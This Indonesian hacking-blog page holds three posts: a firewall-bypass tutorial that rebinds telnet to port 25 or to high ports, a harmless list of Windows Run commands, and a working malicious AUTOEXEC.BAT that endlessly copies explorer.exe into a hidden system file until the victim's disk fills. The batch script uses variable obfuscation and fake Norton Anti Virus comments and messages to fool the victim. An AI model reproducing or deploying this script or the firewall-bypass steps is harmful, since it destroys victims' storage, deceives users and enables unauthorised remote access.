Tampilkan postingan dengan label Tutorial. Tampilkan semua postingan
Tampilkan postingan dengan label Tutorial. Tampilkan semua postingan

Senin, 22 Maret 2010

Bermain dengan Firewall Default

Selama ini mungkin anda beranggapan bahwa firewall adalah suatu dinding
penjaga keamanan dari sebuah network yang tidak mungkin ditembus.
Sayangnya (atau untungnya - tergantung persepsi anda), banyak
administrator sistem yang malas dan mengandalkan instalasi 'default' yang
diterima (out of box).

Firewal-firewall seperti inilah yang mempunyai banyak kelemahan. Artikel
ini ditujukan untuk mereka yang sudah punya akses di dalam firewall, dan
membutuhkan jalan untuk mencapai akses tersebut melalui jaringan luar
(internet, contohnya). Platform yang digunakan adalah Linux dan untuk
UNIX-UNIX lainnya, cara kerja hampir sama.

Misalkan workstation anda di kantor menyimpan segala pekerjaan anda. Namun
sayangnya LAN di kantor dilindungi oleh sebuah Firewall. Anda ingin akses
ke workstation di kantor supaya anda bisa menyelesaikan pekerjaan dari
rumah atau tempat lain. Nah, disinilah bergunanya teknik 'firewall
bypassing'.


# port
/-------\ /-------\<------------ telnet (23)
| | | |<------------ ftp (21) /--------\
|kotak. |<-------| fire |<------------ ssh (22) INTERNET
|linux. | 25 | wall |<------------ www (80)
|anda |<-------| |<------------ mail (25) \--------/
| | <1024 \-------/ <----------- imap (143)
\-------/
( ilustrasi lalu lintas data dari internet ke kotak linux anda dengan
melewati firewall)



Instalasi firewall secara default biasanya mengizinkan koneksi ke port 25
(SMTP - protokol transfer e-mail), dan sebagian besar koneksi ke port
dengan nomor lebih besar daripada 1024. Memang banyak sysadmin yang
mengabaikan hal ini, ataupun jika ada yang tahu, biasanya hanya dibiarkan
saja, sebab koneksi keluar server biasa menggunakan lokasi-lokasi dengan
nomor port >1024.

Cara yang paling cepat untuk mengakali sang firewall agar bisa menerima
koneksi telnet dari luar adalah dengan mengubah setting skema portmapping
Linux anda. Edit file /etc/inet.conf anda, dan cari entri yang berisi

smtp stream tcp nowait root

dan ubah isinya menjadi

smtp stream tcp nowait root /usr/sbin/tcpd in.telnetd

Aha. Tinggal anda reload file inetd.conf, dan kill sendmail. Sekarang port
email anda sudah siap untuk menerima koneksi telnet (bisa langsung anda
'telnet mesin.target.net 25').

Cara yang lain untuk memperoleh hasil yang sama (tanpa mengorbankan
sendmail), adalah dengan mengubah setting port penerima telnet (port 23),
dan memberitahukan mesin anda agar menerima telnet lewat port diatas 1024.
Buka file /etc/services dan cari entri yang berisi

telnet 23/tcp

dan ubah isinya menjadi

telnet 1069/tcp
(atau port lain >1024 pilihan anda).

Cara ini akan membuka jalan telnet untuk masuk lewat port 1069 tanpa
menghiraukan proteksi firewall. Tentu saja anda perlu mengulang inetd dan
sebagainya, namun anda tidak perlu membunuh mail server anda. Cara ini
tentu saja tidak terbatas ke penggunaan telnet biasa. Daemon-daemon
seperti rsh, dan secure shell daemon bisa juga digunakan untuk menerima
koneksi selain dari port defaultnya (ssh port 22).

Nah, begitu dulu sedikit penjelasan ini. Pasti diantara anda banyak yang
masih bingung atau masih mencari-cari jalan masuk ke mesin terlindung
firewall tanpa akses fisik ke target. Saran penulis adalah agar anda
mencoba-coba menjalankan program 'scanner' seperti nmap (tersedia di arsip
kecoak). Jika kebetulan mesin target anda menjalankan web server, maka
bisa juga anda coba bermain dengan port http (80), atau mencoba mencari
kelemahan di cgi-bin nya. Teknik yang lebih sukar lagi adalah fragmentasi,
dan penulis sendiri pun masih buta akan hal ini. Semoga artikel ini
bermanfaat dan ada pembaca yang bisa mengembangkan teknik-teknik lebih
baru lagi.
Read rest of entry

Perintah RUN Pada Komputer

Program Run Command

Accessibility Controls = access.cpl

Accessibility Wizard = accwiz

Add Hardware Wizard = hdwwiz.cpl

Add/Remove Programs = appwiz.cpl

Administrative Tools = control admintools

Adobe Acrobat ( if installed ) = acrobat

Adobe Distiller ( if installed ) = acrodist

Adobe ImageReady ( if installed ) = imageready

Adobe Photoshop ( if installed ) = photoshop

Automatic Updates = wuaucpl.cpl

Basic Media Player = mplay32

Bluetooth Transfer Wizard = fsquirt

Calculator calc Ccleaner(if installed) = ccleaner

C: Drive = c:

Certificate Manager = cdrtmgr.msc

Character Map = charmap

Check Disk Utility = chkdsk

Clipboard Viewer = clipbrd

Command Prompt = cmd

Command Prompt = command

Component Services = dcomcnfg

Computer Management = compmgmt.msc

Compare Files = comp

Control Panel = control

Create a shared folder Wizard = shrpubw

Date and Time Properties = timedate.cpl

DDE Shares = ddeshare

Device Manager = devmgmt.msc

Direct X Control Panel ( if installed ) = directx.cpl

Direct X Troubleshooter = dxdiag

Disk Cleanup Utility = cleanmgr

Disk Defragment = dfrg.msc

Disk Partition Manager = diskmgmt.msc

Display Properties = control desktop

Display Properties = desk.cpl

Display Properties(w/Appearance Tab Preselected ) = control color

Dr. Watson System Troubleshooting Utility = drwtsn32

Driver Verifier Utility verifier Ethereal(if installed) = ethereal

Event Viewer = eventvwr.msc

Files and Settings Transfer Tool = migwiz

File Signature Verification Tool = sigverif

Findfast = findfast.cpl

Firefox = firefox

Folders Properties = control folders

Fonts = fonts

Fonts Folder = fonts

Free Cell Card Game = freecell

Game Controllers = joy.cpl

Group Policy Editor ( xp pro ) = gpedit.msc

Hearts Card Game = mshearts

Help and Support = helpctr

Hyperterminal = hypertrm

Hotline Client = hotlineclient

Iexpress Wizard = iexpress

Indexing Service = ciadv.msc

Internet Connection Wizard = icwonn1

Internet Properties = inetcpl.cpl

Internet Setup Wizard = inetwiz

IP Configuration = ipconfig /all

IP Configuration (Display DNS Cache Contents) = ipconfig /displaydns

IP Configuration (Delete DNS Cache Contents) = ipconfig /flushdns

IP Configuration (Release All Connections) = ipconfig /release

IP Configuration (Renew All Connections) = ipconfig /renew

IP Config (Refreshes DHCP & Re-Registers DNS) = ipconfig /registerdns

IP Configuration (Display DHCP Class ID) = ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID) = ipconfig /setclassid

Java Control Panel ( if installed ) = picpl32.cpl

Java Control Panel ( if installed ) = javaws

Keyboard Properties = control keyboard

Local Security Settings = secpol.msc

Local Users and Groups = lusrmgr.msc

Logs You Out of Windows = logoff

Malicious Software Removal Tool = mrt

Microsoft Access ( if installed ) = access.cpl

Microsoft Chat = winchat

Microsoft Excel ( if installed ) = excel

Microsoft Diskpart = diskpart

Microsoft Frontpage ( if installed ) = frontpg

Microsoft Movie Maker = moviemk

Microsoft Management Console = mmc



Microsoft Narrator = narrator

Microsoft Paint = mspaint

Microsoft Powerpoint = powerpnt

Microsoft Word ( if installed ) = winword

Microsoft Syncronization Tool = mobsync

Minesweeper Game = winmine

Mouse Properties = control mouse

Mouse Properties = main.cpl

MS-Dos Editor = edit

MS-Dos FTP = ftp

Nero ( if installed ) = nero

Netmeeting = conf

Network Connections = control netconnections

Network Connections = ncpa.cpl

Network Setup Wizard = netsetup.cpl

Notepad = notepad

Nview Desktop Manager ( if installed ) = nvtuicpl.cpl

Object Packager = packager

ODBC Data Source Administrator = odbccp32

ODBC Data Source Administrator = odbccp32.cpl

On Screen Keyboard = osk

Opens AC3 Filter ( if installed )= ac3filter.cpl

Outlook Express = msimn

Paint = pbrush

Password Properties = password.cpl

Performance Monitor = perfmon.msc

Performance Monitor = perfmon

Phone and Modem Options = telephon.cpl

Phone Dialer = dialer

Pinball Game = pinball

Power Configuration = powercfg.cpl

Printers and Faxes = control printers

Printers Folder= printers

Private Characters Editor = eudcedit

Quicktime ( if installed ) = quicktime.cpl

Quicktime Player ( if installed ) = quicktimeplayer

Real Player ( if installed ) = realplay

Regional Settings = intl.cpl

Registry Editor = regedit

Registry Editor = regedit32

Remote Access Phonebook = rasphone

Remote Desktop = mstsc

Removable Storage = ntmsmgr.msc

Removable Storage Operator Requests = ntmsoprq.msc

Resultant Set of Policy ( xp pro ) = rsop.msc

Scanners and Cameras = sticpl.cpl

Scheduled Tasks control= schedtasks

Security Center = wscui.cpl

Services = services.msc

Shared Folders = fsmgmt.msc

Sharing Session = rtcshare

Shuts Down Windows = shutdown

Sounds Recorder = sndrec32

Sounds and Audio = mmsys.cpl

Spider Solitare Card Game = spider

SQL Client Configuration = clicongf

System Configuration Editor = sysedit

System Configuration Utility = msconfig

System File Checker Utility ( Scan Immediately ) = sfc /scannow

System File Checker Utility ( Scan Once At Next Boot ) = sfc /scanonce

System File Checker Utility ( Scan On Every Boot ) = sfc /scanboot

System File Checker Utility ( Return to Default Settings) = sfc /revert

System File Checker Utility ( Purge File Cache ) = sfc /purgecache

System File Checker Utility ( Set Cache Size to Size x ) = sfc /cachesize=x

System Information msinfo32 System Properties = sysdm.cpl

Task Manager = taskmgr

TCP Tester = tcptest

Telnet Client = telnet

Tweak UI ( if installed ) = tweakui

User Account Management = nusrmgr.cpl

Utility Manager utilman

Volume Serial Number for = C: label

Volume Control = sndvol32

Windows Address Book = wab

Windows Address Book Import Utility = wabmig

Windows Backup Utility ( if installed ) = ntbackup

Windows Explorer = explorer

Windows Firewall = firewall.cpl

Windows Installer Details = msiexec

Windows Magnifier = magnify

Windows Management Infrastructure = wmimgmt.msc

Windows Media Player = wmplayer

Windows Messenger = msnsgs

Windows Picture Import Wizard (Need camera connected) = wiaacmgr

Windows System Security Tool = syskey

Windows Script host settings = wscript

Widnows Updte Launches = wupdmgr

Windows Version ( shows your windows version ) = winver

Windows XP Tour Wizard = tourstart

Wordpad = write

Zoom Utility = igfxzoom
Read rest of entry

Merusak data diHardisk

saya melakukan sedikit eksperimen kecil tentang batch file
tujuan dari 'proyek' ini adalah membuat suatu file batch yg
akan dieksekusi setiap startup [autoexec.bat]. dan file ini
berisi perintah untuk menuliskan suatu karakter ke dalam fi
le yang kita tentukan.

menulis ke dalam file, bukankah hal yang biasa? ^_^ memang.
tapi jika kita loop tak terhingga? :D

pemakai komputer hanya akan menyadari bahwa komputernya me-
ngalami masalah dengan startup dan ketika 'masalah'nya bisa
diatasi, dia mengira isi hardisknya cepat habis!

script utamanya adalah sebagai berikut:

:XYZ
ECHO YOUR TEXT >> C:\FILETUJUAN.EKT
GOTO A

dengan demikian, tulisan YOUR TEXT [bisa dirubah sendiri] akan
tersalin sepenuh hati ke file tujuan dalam jumlah tak terhing-
ga [sampai batch proses di matikan dengan menekan Ctrl + C].


SAMPLE OF FULL SCRIPT [filename = AUTOEXEC.BAT]
---------------------

@echo off
cls
:xyz
echo I Was Here >> c:\file_baru.txt
cls
echo.
echo Scandisk is checking system folder and files...
echo Press Ctrl+C to quit.
goto xyz

----------------------


well, tapi cara di atas kurang ampuh untuk menguras harddisk.
cara yang lumayan ampuh adalah dengan mengganti baris:

ECHO I WAS HERE >> C:\FILE_BARU.TXT

menjadi

TYPE C:\WINDOWS\EXPLORER.EXE >> C:\FILE_BARU.TXT

file target berada di root folder C: dan hal ini pasti cepet
ketahuan. karena itu lebih baik file target diletakkan di folder
C:\WINDOWS [atau di C:\WINDOWS\SYSTEM]. karena di folder ini,
tidak mungkin akan ada pemilik komputer yang hapal isinya secara
keseluruhan. :P

beri nama yang... komputer banget. misalnya setLob.dll atau yang
lain, beri ekstensi yang mirip-mirip file penting.

AWAS, cara ini mungkin hanya untuk korban awam banget. untuk kor-
ban yang agak awam [1/2 awam] kita kelabui dengan cara lain. karena
jika tidak kita kelabui, begitu membaca file autoexec.bat dia akan
segera menyadari apa yang terjadi.

kita 'permainkan' dengan menggunakan SET, juga sedikit social engin
eering.


------------- autoexec.bat begin -----------------
@echo off
@rem NEEDED BY NORTON ANTI VIRUS

@rem This file generated by Norton Anti Virus 2004 to optimize
@rem the Virus Protection Performance. DO NOT delete OR modify
@rem this file.

@echo off

set n=t
set o=yp
set x=dl
set c=set
set e=L
set q=v

:navcheck
%n%%o%e %windir%\explorer.exe >> %windir%\%c%%e%ob.%x%l
cls

echo.
echo NAV 2004 is checking system folder and files...
echo it may take a few second.
echo.
echo If the process not responding,
echo press C%n%rl+C and answer YES.
go%n%o na%q%check

------------------- end of file -------------------

silahkan diutak-atik sendiri biar lebih puas.
ketika saya coba, baru beberapa detik saja sudah dapat
file setLob.dll sebesar -/+ 100 MB!

NOTE:
-----
uji coba menggunakan P4 2.0 GHz 128MB. dicoba di P2 266
64 MB agak lama juga untuk mendapatkan ukuran segitu.

output dari file batch ini adalah file setLob.dll yang
terletak di direktori C:\WINDOWS yang akan selalu ber-
tambah ukurannya.
Read rest of entry
 
#sarudik cyber community#

. Copyright © 2010 Blog is Designed by Ecka Lienardy Sponsored by Sarudik-crew